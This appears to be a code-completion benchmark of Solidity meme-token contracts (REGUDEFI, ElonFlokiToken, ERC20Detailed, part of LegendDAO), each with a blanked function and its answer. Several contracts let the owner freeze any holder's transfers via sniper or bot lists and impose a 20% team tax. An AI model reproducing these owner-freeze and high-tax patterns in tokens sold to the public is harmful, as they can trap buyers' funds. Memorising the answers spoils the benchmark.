contract REGUDEFI is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; mapping (address => bool) public isSniper; bool private _swapping; uint256 private _launchTime; address public feeWallet; address public burnAddress = 0x000000000000000000000000000000000000dEaD; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public dynamicFeesInEffect = false; bool public tradingActive = false; uint256 public fireSaleActive; uint256 public fireSaleTimer; uint256 public fireSaleAmt; uint256 public fireSaleRequirement; uint256 public resetRequirement; mapping (address => uint256) public userBurned; uint256 public buyFeeThreshold; uint256 public buyFeeRate; uint256 public buyTotalFees; uint256 private _buyMarketingFee; uint256 private _buyLiquidityFee; uint256 private _buyDevFee; uint256 public sellFeeThreshold; uint256 public sellFeeRate; uint256 public sellTotalFees; uint256 private _sellMarketingFee; uint256 private _sellLiquidityFee; uint256 private _sellDevFee; uint256 private _tokensForMarketing; uint256 private _tokensForLiquidity; uint256 private _tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping (address => bool) public isExcludedFromFees; mapping (address => bool) public isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity); event Burn(uint256 burnAmount); event FeesReset(); event FireSaleBy(address user); event FireSale(); constructor() ERC20("Regulated DeFi", "REGU") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); isExcludedMaxTransactionAmount[address(_uniswapV2Router)] = true; uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); isExcludedMaxTransactionAmount[address(uniswapV2Pair)] = true; automatedMarketMakerPairs[address(uniswapV2Pair)] = true; uint256 totalSupply = 1e9 * 1e9; _buyMarketingFee = 6; _buyLiquidityFee = 2; _buyDevFee = 2; buyTotalFees = _buyMarketingFee + _buyLiquidityFee + _buyDevFee; _sellMarketingFee = 6; _sellLiquidityFee = 2; _sellDevFee = 2; sellTotalFees = _sellMarketingFee + _sellLiquidityFee + _sellDevFee; buyFeeRate = totalSupply * 5 / 1000; // 0.5% sellFeeRate = totalSupply * 25 / 10000; // 0.25% resetRequirement = totalSupply * 1 / 10000; // 0.01% fireSaleRequirement = totalSupply * 1 / 100; // 1% maxTransactionAmount = totalSupply * 1 / 100; // 1% maxWallet = totalSupply * 2 / 100; // 2% swapTokensAtAmount = totalSupply * 2 / 1000; // 0.2% feeWallet = address(owner()); // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(burnAddress), true); isExcludedMaxTransactionAmount[owner()] = true; isExcludedMaxTransactionAmount[address(this)] = true; isExcludedMaxTransactionAmount[address(burnAddress)] = true; /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; _launchTime = block.timestamp + 1; //Let's make sure the snipers don't just set 1 block ahead } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; dynamicFeesInEffect = true; fireSaleTimer = block.timestamp + 1 days; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function excludeFromFees(address account, bool excluded) public onlyOwner() { isExcludedFromFees[account] = excluded; } function updateFeeWallet(address newWallet) external onlyOwner { feeWallet = newWallet; } function setSnipers(address[] memory snipers_) external onlyOwner() { for (uint i = 0; i < snipers_.length; i++) { if (snipers_[i] != uniswapV2Pair && snipers_[i] != address(uniswapV2Router)) { isSniper[snipers_[i]] = true; } } } function delSnipers(address[] memory snipers_) external onlyOwner() { for (uint i = 0; i < snipers_.length; i++) { isSniper[snipers_[i]] = false; } } function setResetRequirement(uint256 requirement) external onlyOwner() { require(requirement >= totalSupply() * 1 / 100000, "Burn requirement cannot be lower than 0.001% total supply."); require(requirement <= totalSupply() * 5 / 1000, "Burn requirement cannot be higher than 0.5% total supply."); resetRequirement = requirement; } function setfireSaleRequirement(uint256 requirement) external onlyOwner() { require(requirement >= totalSupply() * 1 / 100000, "Burn requirement cannot be lower than 0.001% total supply."); require(requirement <= totalSupply() * 5 / 1000, "Burn requirement cannot be higher than 0.5% total supply."); fireSaleRequirement = requirement; } function _resetFees() private { _buyMarketingFee = 6; _buyLiquidityFee = 2; _buyDevFee = 2; buyTotalFees = _buyMarketingFee + _buyLiquidityFee + _buyDevFee; _sellMarketingFee = 6; _sellLiquidityFee = 2; _sellDevFee = 2; sellTotalFees = _sellMarketingFee + _sellLiquidityFee + _sellDevFee; } function resetFees() external { require(balanceOf(msg.sender) > resetRequirement, "You do not have enough tokens to reset fees!"); _resetFees(); fireSaleAmt += resetRequirement; transfer(burnAddress, resetRequirement); emit FeesReset(); } <FILL_FUNCTION> function _startFireSale() private { fireSaleActive = block.timestamp + 2 hours; fireSaleTimer = block.timestamp + 1 days; fireSaleAmt = 0; emit FireSale(); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!isSniper[from], "Your address has been marked as a sniper, you are unable to transfer or swap."); if (amount == 0) { super._transfer(from, to, 0); return; } if (block.timestamp <= _launchTime) isSniper[to] = true; if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(burnAddress) && !_swapping ) { if (!tradingActive) require(isExcludedFromFees[from] || isExcludedFromFees[to], "Trading is not active."); // when buy if (automatedMarketMakerPairs[from] && !isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } // when sell else if (automatedMarketMakerPairs[to] && !isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && !_swapping && !automatedMarketMakerPairs[from] && !isExcludedFromFees[from] && !isExcludedFromFees[to] ) { _swapping = true; swapBack(); _swapping = false; } // dynamic change if (dynamicFeesInEffect && block.timestamp > fireSaleActive) { // on sell if (automatedMarketMakerPairs[to]) { sellFeeThreshold += amount; uint256 feeAdd = sellFeeThreshold.div(sellFeeRate); if (feeAdd > 0) { if (_sellLiquidityFee < 12) { if (feeAdd > 10) { _sellLiquidityFee += 10; } else { _sellLiquidityFee += feeAdd; } } sellFeeThreshold -= feeAdd.mul(sellFeeRate); } } // on buy else if (automatedMarketMakerPairs[from]) { buyFeeThreshold += amount; uint256 feeAdd = buyFeeThreshold.div(buyFeeRate); if (feeAdd > 0) { if (_buyLiquidityFee > 0) { if (feeAdd > 2) { _buyLiquidityFee -= 2; } else { _buyLiquidityFee -= feeAdd; } } buyFeeThreshold -= feeAdd.mul(buyFeeRate); } } } // set new totals buyTotalFees = _buyMarketingFee + _buyLiquidityFee + _buyDevFee; sellTotalFees = _sellMarketingFee + _sellLiquidityFee + _sellDevFee; bool takeFee = !_swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (isExcludedFromFees[from] || isExcludedFromFees[to]) takeFee = false; uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); _tokensForLiquidity += fees * _sellLiquidityFee / sellTotalFees; _tokensForDev += fees * _sellDevFee / sellTotalFees; _tokensForMarketing += fees * _sellMarketingFee / sellTotalFees; } // on buy else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); _tokensForLiquidity += fees * _buyLiquidityFee / buyTotalFees; _tokensForDev += fees * _buyDevFee / buyTotalFees; _tokensForMarketing += fees * _buyMarketingFee / buyTotalFees; } if (fees > 0) super._transfer(from, address(this), fees); amount -= fees; } if (block.timestamp > fireSaleActive && fireSaleActive > 0) { fireSaleActive = 0; _resetFees(); } // reset firesale if time passed if (block.timestamp > fireSaleTimer) { fireSaleTimer = block.timestamp + 1 days; fireSaleAmt = 0; } // if it's a burn if (to == burnAddress) { userBurned[msg.sender] += amount; fireSaleAmt += amount; if (fireSaleAmt >= fireSaleRequirement) _startFireSale(); emit Burn(amount); } super._transfer(from, to, amount); } function _swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = _tokensForLiquidity + _tokensForMarketing + _tokensForDev; if (contractBalance == 0 || totalTokensToSwap == 0) return; if (contractBalance > swapTokensAtAmount * 20) contractBalance = swapTokensAtAmount * 20; // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * _tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; _swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(_tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(_tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; _tokensForLiquidity = 0; _tokensForMarketing = 0; _tokensForDev = 0; if (liquidityTokens > 0 && ethForLiquidity > 0) { _addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, _tokensForLiquidity); } } function withdrawFees() external { payable(feeWallet).transfer(address(this).balance); } receive() external payable {} }
require(balanceOf(msg.sender) > fireSaleRequirement, "You do not have enough tokens to start a fire sale!"); fireSaleActive = block.timestamp + 2 hours; fireSaleTimer = block.timestamp + 1 days; fireSaleAmt = 0; transfer(burnAddress, fireSaleRequirement); emit FireSaleBy(msg.sender);
function fireSale() public
function fireSale() public
93465
ElonFlokiToken
tokenFromReflection
contract ElonFlokiToken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "ElonFloki | t.me/eflokitoken"; string private constant _symbol = "eFloki \xF0\x9F\x92\xB9"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 5; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _cooldownSeconds = 30; uint256 private _launchTime; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool isEnabled) external onlyOwner() { cooldownEnabled = isEnabled; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) {<FILL_FUNCTION_BODY> } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 1; _teamFee = 20; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { if (block.timestamp < _launchTime + 7 minutes) { require(cooldown[to] < block.timestamp); require(amount <= _maxTxAmount); cooldown[to] = block.timestamp + (_cooldownSeconds * 1 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { if (contractTokenBalance > 0) { swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function addLiquidityETH() external onlyOwner() { require(!tradingOpen, "Liquidity already added"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _taxFee = 1; _teamFee = 20; _maxTxAmount = 3000000000 * 10**9; tradingOpen = true; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function manualSwap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setCooldownSeconds(uint256 cooldownSecs) external onlyOwner() { require(cooldownSecs > 0, "Secs must be greater than 0"); _cooldownSeconds = cooldownSecs; } }
contract ElonFlokiToken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "ElonFloki | t.me/eflokitoken"; string private constant _symbol = "eFloki \xF0\x9F\x92\xB9"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 5; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _cooldownSeconds = 30; uint256 private _launchTime; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool isEnabled) external onlyOwner() { cooldownEnabled = isEnabled; } <FILL_FUNCTION> function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 1; _teamFee = 20; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { if (block.timestamp < _launchTime + 7 minutes) { require(cooldown[to] < block.timestamp); require(amount <= _maxTxAmount); cooldown[to] = block.timestamp + (_cooldownSeconds * 1 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { if (contractTokenBalance > 0) { swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function addLiquidityETH() external onlyOwner() { require(!tradingOpen, "Liquidity already added"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _taxFee = 1; _teamFee = 20; _maxTxAmount = 3000000000 * 10**9; tradingOpen = true; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function manualSwap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setCooldownSeconds(uint256 cooldownSecs) external onlyOwner() { require(cooldownSecs > 0, "Secs must be greater than 0"); _cooldownSeconds = cooldownSecs; } }
require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate);
function tokenFromReflection(uint256 rAmount) private view returns (uint256)
function tokenFromReflection(uint256 rAmount) private view returns (uint256)
88186
ERC20Detailed
decimals
contract ERC20Detailed is IERC20 { uint8 public _Tokendecimals; string public _Tokenname; string public _Tokensymbol; constructor(string memory name, string memory symbol, uint8 decimals) public { _Tokendecimals = decimals; _Tokenname = name; _Tokensymbol = symbol; } function name() public view returns(string memory) { return _Tokenname; } function symbol() public view returns(string memory) { return _Tokensymbol; } function decimals() public view returns(uint8) {<FILL_FUNCTION_BODY> } }
contract ERC20Detailed is IERC20 { uint8 public _Tokendecimals; string public _Tokenname; string public _Tokensymbol; constructor(string memory name, string memory symbol, uint8 decimals) public { _Tokendecimals = decimals; _Tokenname = name; _Tokensymbol = symbol; } function name() public view returns(string memory) { return _Tokenname; } function symbol() public view returns(string memory) { return _Tokensymbol; } <FILL_FUNCTION> }
return _Tokendecimals;
function decimals() public view returns(uint8)
function decimals() public view returns(uint8)
280
LegendDAO
updateSwapTokensAtAmount
contract LegendDAO is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public buyBackWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; bool private gasLimitActive = true; uint256 private gasPriceLimit = 561 * 1 gwei; // do not allow over x gwei for launch // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyBuyBackFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellBuyBackFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForBuyBack; uint256 public tokensForDev; // airdrop limits to prevent airdrop dump to protect new investors mapping(address => uint256) public _airDropAddressNextSellDate; mapping(address => uint256) public _airDropTokensRemaining; uint256 public airDropLimitLiftDate; bool public airDropLimitInEffect; mapping 